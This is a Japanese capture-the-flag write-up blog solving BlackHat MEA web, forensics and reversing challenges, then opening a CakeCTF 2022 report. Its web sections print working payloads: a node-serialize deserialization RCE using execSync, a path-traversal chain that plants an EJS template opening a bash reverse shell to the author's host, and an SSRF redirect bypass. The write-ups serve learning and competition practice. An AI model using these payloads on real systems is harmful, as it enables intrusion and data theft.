                if(eval("return \$inp=\"$inp\";")==="SuperSecRetPassw0rd"){
                    echo $flag;
                }
                else{
                    die("Pretty Close maybe ?");
                }
            }

        }
    }
}

パスワードをチェックする処理が eval("return \$inp=\"$inp\";")==="SuperSecRetPassw0rd" であることに注目する。なんで eval しているのだろうという疑問はおいといて、"SuperSecRetPassw0r"."d のようにすれば $inp==="SuperSecRetPassw0rd" という単純な比較には引っかからない。が、通らない。

あれ? と思ったところ、直前で $inp=preg_replace("/[^A-Za-z0-9$]/","",$_POST["pass"]);A-Za-z0-9$ 以外の文字が削除されていることに気づいた。$ が許可されているなら変数を使えばいい。なぜか $x=$_POST["test"]; といい感じの変数が存在しているので、email=admin@naruto.com&pass=SuperSecRetPassw0r$x&test=d というような感じでPOSTするとフラグが得られた。

BlackHatMEA{1207:17:0cc2d74efc62964ea592f0697408a77f0cf5dcbe}

[Web Exploitation 250] Meme Generator

問題サーバのURLが与えられている。アクセスすると、適当に検索エンジンとクエリを入力すると、それをもとに検索した結果を含む画像を生成してくれるWebアプリケーションっぽいとわかる。/source へのリンクがあり、そこからソースコードが得られる。

肝心の utils.py を見せてくれないのは不満だけれども、/flag でフラグが得られるという情報は得られる。ただし、ローカルからのアクセスでなければならず、またリクエストに使われるURLも http://l0calhost から始まっていなければならない。後者は http://l0calhost.127-0-0-1.nip.io みたいな感じでバイパスできそう。

import utils
from flask import Flask, render_template, request
import os
import html

app = Flask(__name__)

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/api/generate", methods = ["POST"])
def generate():
    search_engine = request.form.get("search_engine")
    query = request.form.get("query")
    if not (search_engine and query):
        return "", 400
    utils.take_screenshot(search_engine, query)
    utils.make_meme()
    return "", 200

@app.route("/source")
def source():
    with open(__file__, "r") as f:
        return f"<pre><code>{html.escape(f.read())}</code></pre>", 200

@app.route("/flag")
def flag():
    # TODO: Fix typo
    if request.remote_addr == "127.0.0.1" and request.url.startswith("http://l0calhost"):
        return os.getenv("FLAG"), 200
    return "Nice try", 200

app.run("0.0.0.0", 8080)

検索エンジンの選択欄は、その値が google, duckduckgo, あと searchencrypt から選択するものになっていた。ググると全部 .com で終わるドメイン名のサービスであるとわかる。送られた値と .com、あとパスとクエリパラメータを結合してURLを生成し、アクセスしているのでは?

php -S 0.0.0.0:80 で雑にWebサーバを立てておいて、試しに (IPアドレス).nip.io#検索エンジンとして画像を生成してみると、指定したIPアドレスにアクセスが来た。ただし、以下のエラーログからもわかるように、HTTPSでなければならないらしい。

リダイレクトが効くか試してみたい。Let's Encryptを使ってHTTPSもいけるWebサーバを用意する。以下の内容のHTMLを /a.html に置く。

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="refresh" content="0;URL=http://l0calhost.127-0-0-1.nip.io:8080/flag">
<title>Welcome to nginx!</title>
</head>
<body>
</body>
</html>

(ドメイン名)/a.html#検索エンジンとして画像を生成してみると、以下のような画像が出てきた。成功したようだ。

ランダム生成なので打つのがめちゃくちゃめんどくさいが、フラグは得られた。

BlackHatMEA{1207:15:2278242e666a9c33f8d32ebde22d0a4482634a17}

[Web Exploitation 250] Black Notes

問題サーバのURLが与えられている。アクセスすると、いい感じにメモを取れるサービスが表示される。

Server ヘッダは出ていない(はず)が、/a.html とかにアクセスして404を出させてみると、返ってくるHTMLの感じからExpressで動いているとわかる。

適当にメモを追加してみると、以下のようにCookieがセットされる。

Set-Cookie: notes=eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUiLCIxIjoiYWFhIiwiMiI6Int7Y29uZmlnfX0iLCIzIjoiXCIiLCI0IjoiYSJ9fQ%3D%3D; Path=/

デコードすると以下のようなJSONが出てくる。適当に改ざんしてもそのまま反映されるし、HMACなりなんなりの検証のための文字列がないという見た目の通り、内容は検証されていないようだ。

{"notes":{"0":"Sample Note","1":"aaa","2":"{{config}}","3":"\"","4":"a"}}

ただ、これで何をするのかという問題がある。適当に { のような壊れたJSONを投げてみると、エラーを吐いた。スタックトレースから node-serialize というパッケージを使ってデシリアライズしていそうだと推測できる。

SyntaxError: Unexpected end of JSON input
    at JSON.parse (<anonymous>)
    at exports.unserialize (/data/node_modules/node-serialize/lib/serialize.js:62:16)
    at /data/app.js:42:37
    at Layer.handle [as handle_request] (/data/node_modules/express/lib/router/layer.js:95:5)
    at next (/data/node_modules/express/lib/router/route.js:144:13)
    at Route.dispatch (/data/node_modules/express/lib/router/route.js:114:3)
    at Layer.handle [as handle_request] (/data/node_modules/express/lib/router/layer.js:95:5)
    at /data/node_modules/express/lib/router/index.js:284:15
    at Function.process_params (/data/node_modules/express/lib/router/index.js:346:12)
    at next (/data/node_modules/express/lib/router/index.js:280:10)

npmにあるパッケージの説明を見ると、node-serialize は関数もシリアライズしてくれることがわかる。では、{"notes":{"0":"Sample Note","1":{toString(){console.log(123)}}} のように toString というメソッドを持つメモをシリアライズすればどうなるだろう。そのメモを表示する際に toString を呼び出してくれるだろうか。

node-serialize で遊ぶと、関数は _$$ND_FUNC$$_ から始まる文字列にシリアライズされることがわかる。{"notes":{"0":"a","1":{"toString":"_$$ND_FUNC$$_function () { return 7*7 }"}}}Base64エンコードしたものをCookieにセットする。このままアクセスすると、49 という内容のメモが表示された。うまくいったようだ。

{"notes":{"0":"a","1":{"toString":"_$$ND_FUNC$$_function () { return [].constructor.constructor('return process')().mainModule.require('child_process').execSync('ls -la /')+'' }"}}} でルートディレクトリにあるファイルとディレクトリを列挙する。怪しいファイルがひとつある。

total 80
drwxr-xr-x   1 root root 4096 Sep 30 14:50 .
drwxr-xr-x   1 root root 4096 Sep 30 14:50 ..
-rwxr-xr-x   1 root root    0 Sep 30 14:50 .dockerenv
drwxr-xr-x   1 root root 4096 Sep 13 03:44 bin
drwxr-xr-x   2 root root 4096 Sep  3 12:10 boot
drwxr-xr-x   1 root root 4096 Sep 29 09:42 data
drwxr-xr-x   5 root root  340 Sep 30 14:50 dev
drwxr-xr-x   1 root root 4096 Sep 30 14:50 etc
drwxr-xr-x   1 root root 4096 Sep 13 06:33 home
drwxr-xr-x   1 root root 4096 Sep 13 03:44 lib
drwxr-xr-x   2 root root 4096 Sep 12 00:00 lib64
drwxr-xr-x   2 root root 4096 Sep 12 00:00 media
drwxr-xr-x   2 root root 4096 Sep 12 00:00 mnt
drwxr-xr-x   1 root root 4096 Sep 28 23:21 opt
dr-xr-xr-x 481 root root    0 Sep 30 14:50 proc
-rw-r--r--   1 root root   62 Sep 30 14:50 ranDom_fl4gImportant.txt
drwx------   1 root root 4096 Sep 28 23:21 root
drwxr-xr-x   3 root root 4096 Sep 12 00:00 run
drwxr-xr-x   1 root root 4096 Sep 13 03:43 sbin
drwxr-xr-x   2 root root 4096 Sep 12 00:00 srv
dr-xr-xr-x  13 root root    0 Sep 30 14:40 sys
drwxrwxrwt   1 root root 4096 Sep 28 23:21 tmp
drwxr-xr-x   1 root root 4096 Sep 12 00:00 usr
drwxr-xr-x   1 root root 4096 Sep 12 00:00 var

実行するコマンドを cat /ranDom_fl4gImportant.txt に変えるとフラグが得られた。

BlackHatMEA{1207:18:9481f58a77d13556d99f83eb13b9b8dd68f28bcc}

ブラックボックス問題か…と最初思ったけど、エラーメッセージから情報が得られるのはなるほどなあという感じだった。

[Web Exploitation 400] Jimmy's Blog

ソースコードつき。ブログサービスでユーザ登録・ログインもできるけれども、記事を追加できるような機能はない。記事の編集はできるが、それは管理者に限られている。普通に登録するだけでは管理者になれない。登録時には (ユーザ名).key というランダムに生成されたファイルが発行され、ログイン時にはユーザ名を入力した上で、そのファイルをアップロードする。

与えられているソースコードについて、主な処理が index.jsutils.js にある。

index.js

const express = require("express");
const cookieParser = require("cookie-parser");
const sessions = require('express-session');
const body_parser = require("body-parser");
const multer = require('multer')
const crypto = require("crypto")
const path = require("path");
const fs = require("fs");
const utils = require("./utils");

const app = express();

app.set('view engine', 'ejs');
app.set('views', './views');
app.disable('view cache');

app.use(sessions({
    secret: crypto.randomBytes(64).toString("hex"),
    cookie: { maxAge: 24 * 60 * 60 * 1000 },
    resave: false,
    saveUninitialized: true
}));
app.use('/static', express.static('static'))
app.use(body_parser.urlencoded({ extended: true }));
app.use(cookieParser());

const upload = multer();

app.get("/", (req, res) => {
    const article_paths = fs.readdirSync("articles");
    let articles = []
    for (const article_path of article_paths) {
        const contents = fs.readFileSync(path.join("articles", article_path)).toString().split("\n\n");
        articles.push({
            id: article_path,
            date: contents[0],
            title: contents[1],
            summary: contents[2],
            content: contents[3]
        });
    }
    res.render("index", {session: req.session, articles: articles});
})

app.get("/article", (req, res) => {
    const id = parseInt(req.query.id).toString();
    const article_path = path.join("articles", id);
    try {
        const contents = fs.readFileSync(article_path).toString().split("\n\n");
        const article = {
            id: article_path,
            date: contents[0],
            title: contents[1],
            summary: contents[2],
            content: contents[3]
        }
        res.render("article", { article: article, session: req.session, flag: process.env.FLAG });
    } catch {
        res.sendStatus(404);
    }
})

app.get("/login", (req, res) => {
    res.render("login", {session: req.session});
})

app.get("/register", (req, res) => {
    res.render("register", {session: req.session});
})

app.post("/register", (req, res) => {
    const username = req.body.username;
    const result = utils.register(username);
    if (result.success) res.download(result.data, username + ".key");
    else res.render("register", { error: result.data, session: req.session });
})

app.post("/login", upload.single('key'), (req, res) => {
    const username = req.body.username;
    const key = req.file;
    const result = utils.login(username, key.buffer);
    if (result.success) { 
        req.session.username = result.data.username;
        req.session.admin = result.data.admin;
        res.redirect("/");
    }
    else res.render("login", { error: result.data, session: req.session });
})

app.get("/logout", (req, res) => {
    req.session.destroy();
    res.redirect("/");
})

app.get("/edit", (req, res) => {
    if (!req.session.admin) return res.sendStatus(401);
    const id = parseInt(req.query.id).toString();
    const article_path = path.join("articles", id);
    try {
        const article = fs.readFileSync(article_path).toString();
        res.render("edit", { article: article, session: req.session, flag: process.env.FLAG });
    } catch {
        res.sendStatus(404);
    }
})

app.post("/edit", (req, res) => {
    if (!req.session.admin) return res.sendStatus(401);
    try {
        fs.writeFileSync(path.join("articles", req.query.id), req.body.article.replace(/\r/g, ""));
        res.redirect("/");
    } catch {
        res.sendStatus(404);
    }
})

app.listen(3000, () => {
    console.log("Server running on port 3000");
})

utils.js

const sqlite = require("better-sqlite3");
const path = require("path");
const crypto = require("crypto")
const fs = require("fs");

const db = new sqlite(":memory:");

db.exec(`
    DROP TABLE IF EXISTS users;

    CREATE TABLE IF NOT EXISTS users (
        id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
        username   VARCHAR(255) NOT NULL UNIQUE,
        admin      INTEGER NOT NULL
    )
`);

register("jimmy_jammy", 1);

function register(username, admin = 0) {
    try {
        db.prepare("INSERT INTO users (username, admin) VALUES (?, ?)").run(username, admin);
    } catch {
        return { success: false, data: "Username already taken" }
    }
    const key_path = path.join(__dirname, "keys", username + ".key");
    const contents = crypto.randomBytes(1024);
    fs.writeFileSync(key_path, contents);
    return { success: true, data: key_path };
}

function login(username, key) {
    const user = db.prepare("SELECT * FROM users WHERE username = ?").get(username);
    if (!user) return { success: false, data: "User does not exist" };

    if (key.length !== 1024) return { success: false, data: "Invalid access key" };
    const key_path = path.join(__dirname, "keys", username + ".key");
    if (key.compare(fs.readFileSync(key_path)) !== 0) return { success: false, data: "Wrong access key" };
    return { success: true, data: user };
}

module.exports = { register, login };

フラグは /article/edit にある res.render("article", { article: article, session: req.session, flag: process.env.FLAG }); という処理から、環境変数にあることがわかる。テンプレートに値として渡されているけれども、flag はどこからも参照されていない。RCEに持ち込む必要がありそうだなあと察する。

メタ読みだけれども、/edit という重要そうな機能があるのに、初っ端で if (!req.session.admin) return res.sendStatus(401); と管理者以外を弾いているところが怪しい。まずは別の脆弱性で管理者となってから、/edit脆弱性を使ってなにかするんだろうなあと推測できる。/edit脆弱性は明らかで、Path Traversalで好きなファイルを書き換えられる。

        fs.writeFileSync(path.join("articles", req.query.id), req.body.article.replace(/\r/g, ""));

管理者になる方法を探したい。管理者であるかどうかを含めたユーザ情報はDBに保存されているけれども、ちゃんとプリペアドステートメントを使っているからSQLiはできない。登録時・ログイン時には管理者かどうかを設定できるようなパラメータはユーザから直接受け付けていない。

utils.jsregister("jimmy_jammy", 1); という処理から、jimmy_jammy というユーザが最初から管理者として登録されていることがわかる。このユーザになりすませないか。まず jimmy_jammy というユーザ名で登録できないかと思ったが、DBの作成時に username カラムにUNIQUE制約がつけられているからダメ。

ソースコードを眺めていたところ、utils.js にある register の以下の処理で、Path Traversalができることに気づく。ユーザごとに生成される鍵は keys/(ユーザ名).key に保存されているが、../keys/jimmy_jammy のようなユーザ名で登録すれば、UNIQUE制約を回避しつつ jimmy_jammy の鍵を書き換えられないか。

    const key_path = path.join(__dirname, "keys", username + ".key");
    const contents = crypto.randomBytes(1024);
    fs.writeFileSync(key_path, contents);

../keys/jimmy_jammy というユーザ名で登録し、jimmy_jammy というユーザ名と発行された鍵のペアでログインできた。これで /edit が使えるようになった。

/edit のPath Traversalで何を書き換えるかだが、まずテンプレートファイルを思いついた。mustacheのようなCTFerに優しくないテンプレートエンジンでなく、EJSという慈愛に満ちたものが使われているから、RCEに持ち込むのは簡単だ。

以下のように、レンダリングされるとリバースシェルを張るOSコマンドが走るテンプレートを views/register.ejs に書き込む。

fetch("https://(ホスト名)/edit?id=../views/register.ejs", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded"
  },
  "body": "article=<%25%3D process.mainModule.require('child_process').execSync('bash -c %22bash -i >%26 /dev/tcp/(IPアドレス)/8000 0>%261%22') %25>",
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
});

これで /register にアクセスすると、無事問題サーバから接続が来た。printenv でフラグが得られた。

root@85f627b9c0d9:/app# printenv
printenv
HOSTNAME=85f627b9c0d9
YARN_VERSION=1.22.19
PWD=/app
NODE_ENV=production
HOME=/root
FLAG=BlackHatMEA{1207:16:523154af52d534aa6f2532c83c6a2632ff847f01}
SHLVL=3
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NODE_VERSION=18.9.1
_=/usr/bin/printenv
BlackHatMEA{1207:16:523154af52d534aa6f2532c83c6a2632ff847f01}

[Digital Forensics 150] Bus

bus.pcap というpcapファイルが与えられる。Wiresharkで開いてみると、なんかModbusをしゃべっている様子が見られる。送信されているデータは ff00 ばかりだ。

Scapyを使った以下のスクリプトでどんなデータが送信されているか見てみる。

from scapy.all import *
res = b''
for i, pkt in enumerate(PcapReader('bus.pcap')):
    if not (TCP in pkt and pkt[TCP].dport == 502 and hasattr(pkt, 'load')):
        continue
    res += bytes([pkt.load[-2]])
print(res)

やはり ff00 のみらしい。

$ python3 s.py
b'\x00\xff\xff\xff\xff\x00\x00\xff\x00\xff\xff\x00\xff\xff\xff\xff\x00\xff\xff\xff\x00\xff\x00\xff\x00\xff\xff\xff\x00\x00\xff\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\xff\xff\x00\x00\xff\x00\x00\xff\xff\x00\x00\x00\xff\x00\x00\x00\x00\x00\xff\x00\xff\x00\x00\x00\xff\xff\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\xff\xff\x00\xff\x00\x00\xff\x00\xff\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\xff\x00\xff\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\xff\x00\x00\xff\xff\x00\xff\x00\xff\xff\x00\xff\xff\xff\xff\x00\xff\xff\x00\x00\xff\x00\x00\x00\xff\xff\x00\x00\x00\xff\x00\x00\xff\xff\xff\x00\xff\x00\xff\x00\xff\xff\xff\x00\x00\xff\xff\x00\xff\x00\xff\xff\xff\xff\xff\x00\xff\xff\x00\xff\x00\x00\xff\x00\xff\xff\xff\x00\x00\xff\xff\x00\xff\x00\xff\xff\xff\xff\xff\x00\xff\xff\x00\x00\xff\x00\xff\x00\xff\xff\x00\x00\x00\x00\xff\x00\xff\xff\xff\x00\x00\xff\xff\x00\xff\xff\xff\xff\x00\x00\xff\x00\xff\x00\xff\xff\xff\xff\xff\x00\xff\xff\x00\x00\x00\x00\xff\x00\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\xff\x00\xff\x00\x00\x00\xff\xff\x00\x00\xff\x00\xff\x00\xff\xff\xff\x00\x00\xff\x00\x00\xff\x00\xff\xff\xff\xff\xff\x00\xff\xff\x00\x00\x00\x00\xff\x00\xff\xff\x00\xff\xff\x00\x00\x00\xff\xff\x00\xff\xff\x00\x00\x00\x00\xff\x00\x00\x00\x00\xff'

これを2進数とみて、ff00 をそれぞれ 10 に置換する。ありがとうCyberChef

Modbus_is_easy_after_all!

[Digital Forensics 250] Mem

Windowsのメモリダンプっぽいものが与えられる。問題文には "I can no longer retrieve my secret file, also I don't remember the password. It is a hard password and securely generated, but i saved it locally" とあったので、Volatilityを使って filescan でファイルを探す。flag.rarHint.txt というとても怪しいファイル名が出てきた。

> volatility_2.6_win64_standalone.exe -f .\mem.raw --profile=Win7SP1x64 filescan
…
0x000000001bbff9c0     16      0 R--r-- \Device\HarddiskVolume1\Users\Machine\Desktop\CTF\flag.rar
...
0x000000002639ddd0     16      0 R--r-- \Device\HarddiskVolume1\Users\Machine\Desktop\CTF\flag.rar
...
0x000000007dc4f8c0     16      0 R--rw- \Device\HarddiskVolume1\Users\Machine\Desktop\Hint.txt
…

volatility_2.6_win64_standalone.exe -f .\mem.raw --profile=Win7SP1x64 dumpfiles -D output/ -Q 0x000000001bbff9c0 のような感じでファイルを取り出す。…が、Hint.txt の方はなぜかうまくいかない。困っていると、aventadorさんが volshell で色々いじって、UserPasswordHint というレジストリキーを見つけたと教えてくれた。その値は環境変数をチェックしろというヒントだったらしい。

envars環境変数を確認する。

> volatility_2.6_win64_standalone.exe -f .\mem.raw --profile=Win7SP1x64 envars
Pid      Process              Block              Variable                       Value
-------- -------------------- ------------------ ------------------------------ -----
     224 smss.exe             0x00000000002b1320 Path                           C:\Windows\System32
     224 smss.exe             0x00000000002b1320 SystemDrive                    C:
     224 smss.exe             0x00000000002b1320 SystemRoot                     C:\Windows
…
     300 csrss.exe            0x00000000002e1320 SystemP                        Ittm1Fc7hcuFrLZIQmxs
…

SystemP というのがそれだったらしい。Ittm1Fc7hcuFrLZIQmxs というパスワードで flag.rar を展開できた。

Password_hints_are_the_retrievable

[Reverse Engineering 150] SelfReg

Windows向けのレジストリ情報が入っている sample.reg というファイルが与えられる。雑にバイナリエディタで見てみると HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce というレジストリキーであったり、PowerShellスクリプトであったりが見える。

実行されるコマンドはこんな感じ。ファイルサイズが0x10683バイトの .reg ファイルを探してバッチファイルとして書き込み、実行しているのだろうなあとなんとなくわかる。

cmd.exe /c \"powershell -windowstyle hidden $reg = gci -Path C:\\ -Recurse *.reg ^| where-object {$_.length -eq 0x00010683} ^| select -ExpandProperty FullName -First 1; $bat = '%temp%\\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;\"

sample.reg の後ろの方にはまた怪しげなコマンドやらなんやらがある。0x77とXORして、643バイト目以降を切り取って (ランダムな値).exe として保存・実行しているのだろうなあという雰囲気がつかめる。

CyberChefを使うと楽にファイルが取り出せる。

出てきたPEファイルをGhidraに投げると、すぐにそれっぽい関数が見つかった。

sub_140001540 と同じことをするとフラグが得られる。

Flag{3mbed_ex3_1n_s3lf_3xecut1ng_r3g_f1le}

[Reverse Engineering 400] Hope you know JS

問題サーバのURLが与えられる。アクセスすると good-luck.jsflag_prefix.txt という2つのファイルがあることを示すインデックスが表示された(zer0pts向けのこの2つのファイルはGistに置いた)。前者はjavascript-obfuscatorで難読化されたJSコードで、実行すると prompt でパスワードを聞かれる。不正解ならコンソールにwrongと出力される。後者は 1207:24: という内容で、good-luck.js の正解のパスワードとくっつけるとフラグができあがる。

prompt でパスワードを聞かれた際に、短い文字列だと Cannot read properties of undefined (reading 'charCodeAt') と怒られてしまう。おそらく文字数のチェックをしないままループを回したりして範囲外アクセスが起こっているのだろう。これをヒントにまずはパスワードの文字数を特定したい。1文字ずつ増やしていって、エラーを吐かなくなるのは何文字のときか確認する。以下のコードを実行すると、40文字とわかった。

(async () => {
const check = await (await fetch('good-luck.js')).text();

for (let i = 0; i < 100; i++) {
  const prompt = () => 'A'.repeat(i);
  try {
    eval(check);
    console.log(i);
    return;
  } catch {}
}
})();

では次は、とJSコードを読み進めようとしたところ、aventadorさんが以下の関数が怪しいと目をつけた。3つを抜き出したが、このほかにも x から始まる似たような構造の関数が何十個とある。難読化されているから読みにくいけど、要は a*b==parseInt(…) やら a-b==parseInt(…) やらといったことをしている。これが全部成り立つようにするとパスワードが出てくるはず。

function xa66ae5ebf8df259d8994(_0x46eb60, _0x3ad4f1, _0x14eb5d, _0x2d1b46, 
_0x2f60a2) {
  var _0x520fe0 = _0xe23282, _0xd34566 = _0x14eb5d * _0x2f60a2 == 
parseInt([2, 3, false.toString()[_0x520fe0(460)], 2][_0x520fe0(452)](""));
  return _0xd34566;
}
function x784494430ee598507f11(_0x20333e, _0x31010a, _0x26af38, _0x28565f, 
_0x41c64b) {
  var _0x587984 = _0xe23282, _0x5b1022 = _0x20333e - _0x26af38 == 
parseInt([2][_0x587984(452)](""));
  return _0x5b1022;
}
function xcd00020f1f34253dd9ce(_0x2ef2ec, _0x2216df, _0x4f18eb, _0x213a1a, 
_0x53ea5a) {
  var _0x4e1d5b = _0xe23282, _0x7ebe89 = _0x4f18eb + _0x53ea5a == 
parseInt([1, false[_0x4e1d5b(450)]()[_0x4e1d5b(460)], 
0][_0x4e1d5b(452)](""));
  return _0x7ebe89;
}
// …

parseInt の引数は定数(であると信じたい)なので、その部分の難読化を解除したい。ついでに、引数が _0x2ef2ec やら _0x2216df やら読みづらいのでリネームしたい。手作業でやるのもなんなので、まとめて難読化を解除するスクリプトを書く。手順は次のような感じ。

  1. 仮引数名をリネームする
    1. 仮引数名を取得する
    2. それらを a0a2 のように何番目の引数かわかるよう置換する
  2. parseInt の引数を置換する
    1. parseInt の引数を切り出す
    2. eval して元の定数を取得し、置換する

ASTを解析するほどでもないしと思い、正規表現を中心とした文字列処理でなんとかした。以下のコードを実行すると、うまくいった。

console.log(`function xa66ae5ebf8df259d8994(_0x46eb60, _0x3ad4f1, _0x14eb5d, _0x2d1b46, _0x2f60a2)
{
    var _0x520fe0 = _0xe23282,
        _0xd34566 = _0x14eb5d * _0x2f60a2 == parseInt([+!![] + +!![], +!![] + +!![] + +!![], (![])['toString']()[_0x520fe0(0x1cc)], +!![] + +!![]][_0x520fe0(0x1c4)](''));
    return _0xd34566;
}

function x784494430ee598507f11(_0x20333e, _0x31010a, _0x26af38, _0x28565f, _0x41c64b)
{
    var _0x587984 = _0xe23282,
        _0x5b1022 = _0x20333e - _0x26af38 == parseInt([+!![] + +!![]][_0x587984(0x1c4)](''));
    return _0x5b1022;
}

function xcd00020f1f34253dd9ce(_0x2ef2ec, _0x2216df, _0x4f18eb, _0x213a1a, _0x53ea5a)
{
    var _0x4e1d5b = _0xe23282,
        _0x7ebe89 = _0x4f18eb + _0x53ea5a == parseInt([+!![], (![])[_0x4e1d5b(0x1c2)]()[_0x4e1d5b(0x1cc)], +![]][_0x4e1d5b(0x1c4)](''));
    return _0x7ebe89;
}
…`.split('\n\n').map(func => {
    // rename params
    const params = /\((.+), (.+), (.+), (.+), (.+)\)/g.exec(func.split('\n')[0]).slice(1, 6);
    func = params.reduce((p, c, i) => {
        return p.replaceAll(c, `a${i}`);
    }, func);

    // rename function names
    if (func.includes('_0xe23282')) {
        let [before, after] = func.split('\n')[2].split(' = ');
        before = before.split(' ').at(-1);
        after = after.slice(0, -1);
        func = func.replaceAll(before, after);
    }

    // deobfuscate constants
    let consts = [];
    let match, regex = /parseInt/g;
    let prevEnd = 0;
    let res = '';
    while ((match = regex.exec(func)) !== null) {
        let start = match.index + 9;
        let end = start, depth = 1;
        while (depth > 0) {
            if (func[end] === '(') depth++;
            if (func[end] === ')') depth--;
            end++;
        }

        const arg = func.slice(start, end - 1);
        res += func.slice(prevEnd, start - 9) + parseInt(eval(arg));
        prevEnd = end;
        
    }
    res += func.slice(prevEnd);

    return res;
}).join('\n'));

出力されたコードは以下のような感じ。だいぶ読みやすくなった。

function xa66ae5ebf8df259d8994(a0, a1, a2, a3, a4)
{
    var _0xe23282 = _0xe23282,
        _0xd34566 = a2 * a4 == 2352;
    return _0xd34566;
}
function x784494430ee598507f11(a0, a1, a2, a3, a4)
{
    var _0xe23282 = _0xe23282,
        _0x5b1022 = a0 - a2 == 2;
    return _0x5b1022;
}
function xcd00020f1f34253dd9ce(a0, a1, a2, a3, a4)
{
    var _0xe23282 = _0xe23282,
        _0x7ebe89 = a2 + a4 == 150;
    return _0x7ebe89;
}
// …

まだ問題はあって、これらの関数に渡ってきた引数が、それぞれパスワードの何文字目であるかはこのままではわからない。なので、各関数の頭に関数名と引数を吐き出すコードを挿入する。0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcd のように各文字がユニークな文字列を prompt では入力しておいて、各関数にある引数を出力する処理では、渡ってきた各引数がそれぞれユーザ入力の何文字目と対応するかチェックし、出力する。

この処理を実装すると以下のようになる。

console.log(`
function getIndices(args) {
    const table = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcd';
    return args.map(c => table.indexOf(String.fromCharCode(c)));
}
` + `function xa66ae5ebf8df259d8994(a0, a1, a2, a3, a4)
{
    var _0xe23282 = _0xe23282,
        _0xd34566 = a2 * a4 == 2352;
    return _0xd34566;
}
function x784494430ee598507f11(a0, a1, a2, a3, a4)
{
    var _0xe23282 = _0xe23282,
        _0x5b1022 = a0 - a2 == 2;
    return _0x5b1022;
}
function xcd00020f1f34253dd9ce(a0, a1, a2, a3, a4)
{
    var _0xe23282 = _0xe23282,
        _0x7ebe89 = a2 + a4 == 150;
    return _0x7ebe89;
}

`.replaceAll(/function (x[0-9a-f]+)\(.+?\n\{/gm, function (m, f) {
  return `function ${f}(a0, a1, a2, a3, a4)\n{\n    console.log('${f}:', getIndices([a0, a1, a2, a3, a4]));`;
}))

実行すると以下のようなコードが出力される。うまくいってそう。元の関数をこれで置き換えて、実行する。

function getIndices(args) {
    const table = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcd';
    return args.map(c => table.indexOf(String.fromCharCode(c)));
}
function xa66ae5ebf8df259d8994(a0, a1, a2, a3, a4)
{
    console.log('xa66ae5ebf8df259d8994:', getIndices([a0, a1, a2, a3, a4]));
    var _0xe23282 = _0xe23282,
        _0xd34566 = a2 * a4 == 2352;
    return _0xd34566;
}
// …

表示された prompt0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcd を入力すると、以下のように出力された。

あとはZ3に解かせるだけだ。

import re
from z3 import *

with open('indices.txt', 'r') as f:
  indices = f.read()
  indices = [line.split(' ', 1) for line in indices.splitlines()]
  indices = [(line[0], eval(line[1])) for line in indices]
  indices = {k: v for k, v in indices}

with open('suspicious.js', 'r') as f:
  code = f.read()

input = [Int(f'flag_{i}') for i in range(40)]
solver = Solver()
for c in input:
  solver.add(0x20 <= c, c < 0x7f)

for func in code.split('\n\n'):
  func_name = re.findall(r'function (x[0-9a-f]+)', func)[0]
  m = indices[func_name]
  for i in range(5):
    func = func.replace(f'a{i} ', f'input[{m[i]}] ')

  func = func.replace(';', '')
  func = func.replace(',', '')
  eqs = re.findall(r' = (.+ == .+)', func)

  for eq in eqs:
    solver.add(eval(eq))

  print(eqs)

res = solver.check()
print(res)

if res == sat:
  flag = ''
  m = solver.model()
  for c in input:
    flag += chr(m[c].as_long())
  print(flag)

これを実行すると、それっぽいパスワードが出力された。これをパスワードとして入力するとちゃんと Congrats! と出力される。

$ python3 solve.py
...
['input[8] + input[23] - input[38] == 94']
['input[22] + input[37] - input[39] == 56']
['input[25] + input[28] - input[36] == 106']
sat
9106203013c294272aad649fc850ff0b5fc54293

…が、1207:24:9106203013c294272aad649fc850ff0b5fc54293 をフラグとして提出してもなぜか通らない。aventadorさんが運営に問い合わせたところ、パスワードは複数存在しうるのでほかのものを探してほしいということらしかった😔

仕方がないので、以下のように 9106203013c294272aad649fc850ff0b5fc54293 以外のパスワードを探せるよう制約を付け加える。

s = b'9106203013c294272aad649fc850ff0b5fc54293'
i = 3
solver.add(input[i] != s[i])

今度はうまくいった。

1207:24:9103203016c294272aad649fc850ff0b5fc54293

*1:厳しい

CakeCTF 2022 writeup

9/3 - 9/4という日程で開催された。ひとりチーム( 'ᾥ' )で出て10位🍰 今回は裏番組としてBalsn CTFが開催されていたからかはしらんけど、上位チームにソロのチームが多くて、私が把握しているだけでも、上位15チームのうちなんと私を含めた9チームがソロだった。世の中にはオールラウンダーがいっぱいいてこわい。

InterKosenCTFという名前だった頃から問題のクオリティは高かったけれども、さらに面白くなっていてとても楽しめた。が、今年はWeb問を全完できなかったのが大変悔しい。残っていたのはWebのImageSurfingという php://filter を最大限活用する問題で、International Cybersecurity Challengeでも似たような問題を落としてしまったのもあって*1*2余計に悔しい。チーム名と同じ表情で画面と向き合っていた。ン~~~~。

リンク:

(2022-10-18追記)賞品(湯呑、タオル、クリアファイル)が届いた。かわいい。

クリアファイルに書かれているのはRubyのQuine。実はフラグが仕込まれていて、ゴニョゴニョすると CakeCTF{2022} というフラグが得られる。


[welcome 46] Welcome (676 solves)

Get the flag in Discord

ということでDiscordサーバに入るとフラグがもらえる。

CakeCTF{p13a53_tast3_0ur_5p3cia1_cak35}

[survey 71] Survey (226 solves)

Solving this challenge won't update the flag submission timestamp. So, take enough time to fill the survey!

ということでアンケートに答えるとフラグがもらえる。


なぜかnimrevよりもsolvesが少なかったアンケート問。

[rev 68] nimrev (246 solves)

Have you ever analysed programs written in languages other than C/C++?

